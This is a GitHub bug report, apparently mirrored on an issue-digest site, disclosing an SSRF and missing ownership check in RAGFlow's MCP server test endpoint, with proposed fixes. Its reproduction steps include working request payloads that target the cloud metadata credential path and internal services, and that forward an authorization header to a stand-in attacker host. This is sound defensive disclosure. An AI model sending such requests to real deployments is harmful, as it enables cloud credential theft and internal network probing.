infiniflow / infiniflow/ragflow

[Bug]: SSRF and missing ownership check on POST /api/v1/mcp/servers/<mcp_id>/test — arbitrary outbound HTTP/SSE with user-controlled headers

Open
#14,902 2 comments 1 reaction 1 assignee Claimed by @jonathanchang31 View on GitHub
🐞 bug
Dominant language
Go
Stars
91k
Forks
10.8k
Avg merge
1d 14h
Merged PRs (30d)
705

Description

### Self Checks

- [x] I have searched for existing issues [search for existing issues](https://github.com/infiniflow/ragflow/issues), including closed ones.
- [x] I confirm that I am using English to submit this report ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
- [x] Non-english title submitions will be closed directly ( 非英文标题的提交将会被直接关闭 ) ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
- [x] Please do not modify this template :) and fill in all the required fields.

### RAGFlow workspace code commit ID

5e46457c2

### RAGFlow image version

5e46457c2

### Other environment information

```Markdown
Hardware parameters: any
OS type: Linux (Docker compose deployment)
Others: Any deployment where the RAGFlow API container has outbound network access to internal addresses (default in docker-compose and most Kubernetes setups).
```

### Actual behavior

`POST /api/v1/mcp/servers//test` (`api/apps/restful_apis/mcp_api.py:293–331`) builds an `MCPServer` purely from caller-supplied `url`, `server_type`, `headers`, and `variables`, and immediately opens a session against that URL via `MCPToolCallSession(mcp_server, ...).get_tools(...)`.

Two distinct flaws:

1. **SSRF (CWE-918).** The `url` body parameter is never validated — no DNS resolution / private-IP block, no scheme allowlist, no host allowlist, no length cap. Inspection of `common/mcp_tool_call_conn.py` (lines 39–232) confirms there is no URL/host filter anywhere along the call path. A logged-in user can:
- scan internal RFC1918 / `127.0.0.1` ranges (timing oracle),
- hit cloud metadata services (`169.254.169.254`, `metadata.google.internal`),
- probe internal services such as `ragflow-mysql:3306`, `ragflow-redis:6379`, `localhost:9200`,
- exfiltrate request bodies by setting attacker-controlled `headers` (e.g. `Authorization: Bearer `) pointed at an external host.

2. **IDOR (CWE-639).** The `` path parameter is never looked up against `MCPServerService` — the request body fully drives the connection. Sibling routes in the same file (`GET`, `PUT`, `DELETE /mcp/servers/`) all enforce `mcp_server.tenant_id == current_user.id`, but this `/test` route does not.

### Expected behavior

The endpoint should:

1. Validate the `url`:
- resolve the host and reject private / loopback / link-local / multicast / cloud-metadata addresses,
- allow only `http` / `https` schemes,
- cap redirects and total response size,
- cap timeout server-side.
2. If `` refers to an existing MCP server record, enforce `mcp_server.tenant_id == current_user.id`. Otherwise either require the body's URL to be validated as above, or reject the request.

The fix should mirror PR #14860 (`Fix: add SSRF guard for agent test_db_connection endpoint`) and reuse / generalize the URL validator from PR #14868 (`fix: block SSRF in misc_utils.download_img for OAuth avatars`).

### Steps to reproduce

```Markdown
1. Authenticate as any low-privilege RAGFlow user (no admin role needed).
2. Probe a cloud-metadata service:


POST /api/v1/mcp/servers/anything/test
Cookie:
Content-Type: application/json

{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","server_type":"sse","timeout":5}

Any `` works; the path parameter is unused.

3. Observe that the server makes the outbound request. Response timing and the returned error message disclose whether the host is reachable (SSRF probe oracle).

4. Repeat with `"url": "http://ragflow-mysql:3306"`, `"http://ragflow-redis:6379"`, `"http://localhost:9200"` — these confirm internal-service fingerprinting.

5. Repeat with custom headers to demonstrate credential-laundering:


{"url":"http://attacker.example.com/","server_type":"sse","timeout":5,"headers":{"Authorization":"Bearer SECRET"}}

The chosen header is forwarded to the attacker-controlled host.
```

### Additional information

Relevant code anchors:

- `api/apps/restful_apis/mcp_api.py:293–331` — the `/mcp/servers//test` handler. Compare with the sibling routes at lines 83, 158, 211 that all enforce `mcp_server.tenant_id == current_user.id`.
- `common/mcp_tool_call_conn.py` — the transport library invoked by the handler; no URL/host validation along the path.

This is structurally the same class as #14858 / PR #14860 (SSRF on `/agents/test_db_connection`) and #14868 (SSRF on `misc_utils.download_img`), but on a different route that those fixes do not cover. I could not find any open issue or merged PR targeting `/mcp/servers//test` SSRF or IDOR.

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.